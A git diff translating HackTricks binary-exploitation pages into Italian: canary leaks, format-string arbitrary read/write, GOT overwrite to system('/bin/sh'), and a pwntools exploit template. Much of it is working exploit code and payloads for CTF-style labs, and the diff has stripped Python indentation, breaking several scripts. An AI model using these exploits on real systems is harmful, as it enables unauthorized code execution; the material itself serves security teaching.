[**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e esfiltrarlo. Con il canary viene creato un gadget ROP per chiamare puts e rivelare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32 bit, ARM, senza relro, canary, nx, senza pie. Overflow con una chiamata a puts su di esso per esfiltrare il canary + ret2lib che chiama `system` con una catena ROP per pop r0 (arg `/bin/sh`) e pc (indirizzo di system) -## Arbitrary Read +## Lettura Arbitraria -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +Con una **lettura arbitraria** come quella fornita da **stringhe di formato**, potrebbe essere possibile esfiltrare il canary. Controlla questo esempio: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e puoi leggere di come abusare delle stringhe di formato per leggere indirizzi di memoria arbitrari in: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- Questa sfida abusa in modo molto semplice di una stringa di formato per leggere il canary dallo stack {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..280fbd252 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# Problemi Comuni di Sfruttamento {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## FDs nell'Exploitation Remota -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +Quando si invia un exploit a un server remoto che chiama **`system('/bin/sh')`** per esempio, questo verrà eseguito nel processo del server e, ovviamente, `/bin/sh` si aspetterà input da stdin (FD: `0`) e stamperà l'output in stdout e stderr (FDs `1` e `2`). Quindi, l'attaccante non sarà in grado di interagire con la shell. -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +Un modo per risolvere questo problema è supporre che quando il server è stato avviato, ha creato il **FD numero `3`** (per l'ascolto) e che poi, la tua connessione sarà nel **FD numero `4`**. Pertanto, è possibile utilizzare la syscall **`dup2`** per duplicare lo stdin (FD 0) e lo stdout (FD 1) nel FD 4 (quello della connessione dell'attaccante) in modo da rendere possibile contattare la shell una volta eseguita. +[**Esempio di exploit da qui**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +Nota che socat trasferisce già **`stdin`** e **`stdout`** al socket. Tuttavia, la modalità `pty` **include i caratteri DELETE**. Quindi, se invii un `\x7f` ( `DELETE` -) eliminerà **il carattere precedente** del tuo exploit. -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +Per aggirare questo, **il carattere di escape `\x16` deve essere preceduto a qualsiasi `\x7f` inviato.** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**Qui puoi** [**trovare un esempio di questo comportamento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..a3a99a985 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +## Informazioni di Base -{% embed url="https://www.stmcyber.com/careers" %} +In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri successivi** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo. -## Basic Information +Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**. -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. - -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. - -#### Formatters: +La vulnerabilità appare quando un **testo dell'attaccante viene utilizzato come primo argomento** per questa funzione. L'attaccante sarà in grado di creare un **input speciale che sfrutta** le capacità della **stringa di formato printf** per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. Essere in grado in questo modo di **eseguire codice arbitrario**. +#### Formattatori: ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**Esempi:** -**Examples:** - -- Vulnerable example: - +- Esempio vulnerabile: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- Uso Normale: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- Con Argomenti Mancanti: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf vulnerabile: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` - ### **Accessing Pointers** -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +Il formato **`%$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, puoi fare: ```c printf("%x %x %x %x") ``` +e leggeresti dal primo al quarto parametro. -and you would read from the first to the forth param. - -Or you could do: - +Oppure potresti fare: ```c printf("%4$x") ``` +e leggere direttamente il quarto. -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack. > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> Un attaccante che controlla questo input, sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento. -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **Lettura Arbitraria** +È possibile utilizzare il formattatore **`%n$s`** per far sì che **`printf`** ottenga l'**indirizzo** situato nella **n posizione**, seguendolo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con: ```python from pwn import * @@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo. -### Find offset +### Trova l'offset -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A's`.
Brute Force printf offset - ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +103,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### Quanto è utile -Arbitrary reads can be useful to: +Le letture arbitrarie possono essere utili per: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** il **binary** dalla memoria +- **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canari, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **Arbitrary Write** +## **Scrittura Arbitraria** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +Il formatter **`%$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \ nello stack. Se un attaccante può scrivere quanti più caratteri vuole con printf, sarà in grado di far scrivere a **`%$n`** un numero arbitrario in un indirizzo arbitrario. +Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.%$n`** per scrivere il numero **``** nell'**indirizzo puntato dalla posizione `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è un numero ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo consente di **scrivere solo 2 Byte**. Pertanto, questa operazione viene eseguita due volte, una per i 2B più alti dell'indirizzo e un'altra volta per i più bassi. -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Stiamo per **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** alla **funzione** **`system`**.\ +Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: **prima scrivi 2Byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**. -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** è chiamato per i 2 byte più alti dell'indirizzo +- **LOB** è chiamato per i 2 byte più bassi dell'indirizzo -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Poi, a causa di come funziona la stringa di formato, devi **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro. -If HOB < LOB\ +Se HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Se HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` - ### Pwntools Template -You can find a **template** to prepare a exploit for this kind of vulnerability in: +Puoi trovare un **template** per preparare un exploit per questo tipo di vulnerabilità in: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +O questo esempio di base da [**qui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -225,27 +197,20 @@ p.sendline('/bin/sh') p.interactive() ``` +## Stringhe di Formato per BOF -## Format Strings to BOF +È possibile abusare delle azioni di scrittura di una vulnerabilità di stringa di formato per **scrivere negli indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**. -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## Altri Esempi e Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bit, no relro, no canary, nx, no pie, uso base delle stringhe di formato per rivelare il flag dallo stack (non è necessario alterare il flusso di esecuzione) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32 bit, relro, no canary, nx, no pie, stringa di formato per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..e66bf5861 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,32 +1,27 @@ -# Format Strings - Arbitrary Read Example +# Format Strings - Esempio di Lettura Arbitraria {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## Inizio Lettura Binaria +### Codice ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +Compilalo con: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### Sfruttamento ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- L'**offset è 11** perché impostando diversi A e **brute-forzando** con un ciclo di offset da 0 a 50 si è scoperto che all'offset 11 e con 5 caratteri extra (pipe `|` nel nostro caso), è possibile controllare un indirizzo completo. +- Ho usato **`%11$p`** con padding fino a che l'indirizzo fosse tutto 0x4141414141414141 +- Il **payload della stringa di formato è PRIMA dell'indirizzo** perché il **printf smette di leggere a un byte nullo**, quindi se inviamo l'indirizzo e poi la stringa di formato, il printf non raggiungerà mai la stringa di formato poiché verrà trovato un byte nullo prima +- L'indirizzo selezionato è 0x00400000 perché è dove inizia il binario (no PIE)
-## Read passwords - +## Leggi le password ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +Compilalo con: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### Leggi dallo stack -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +La **`stack_password`** sarà memorizzata nello stack perché è una variabile locale, quindi abusare di printf per mostrare il contenuto dello stack è sufficiente. Questo è un exploit per BF le prime 100 posizioni per rivelare le password dallo stack: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +Nell'immagine è possibile vedere che possiamo leakare la password dallo stack nella posizione `10`:
-### Read data +### Leggere i dati -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +Eseguendo lo stesso exploit ma con `%p` invece di `%s` è possibile leakare un indirizzo della heap dallo stack a `%25$p`. Inoltre, confrontando l'indirizzo leakato (`0xaaaab7030894`) con la posizione della password in memoria in quel processo possiamo ottenere la differenza degli indirizzi:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +Ora è il momento di trovare come controllare 1 indirizzo nello stack per accedervi dalla seconda vulnerabilità della format string: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +E è possibile vedere che nel **try 14** con il passaggio utilizzato possiamo controllare un indirizzo:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..2d0f95d74 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ -# Format Strings Template +# Modello di Stringhe di Formato {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..ca3c75947 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# Overflow di Interi {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +Al centro di un **overflow di interi** c'è la limitazione imposta dalla **dimensione** dei tipi di dati nella programmazione informatica e dall'**interpretazione** dei dati. -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +Ad esempio, un **intero senza segno a 8 bit** può rappresentare valori da **0 a 255**. Se si tenta di memorizzare il valore 256 in un intero senza segno a 8 bit, si riavvolge a 0 a causa della limitazione della sua capacità di memorizzazione. Allo stesso modo, per un **intero senza segno a 16 bit**, che può contenere valori da 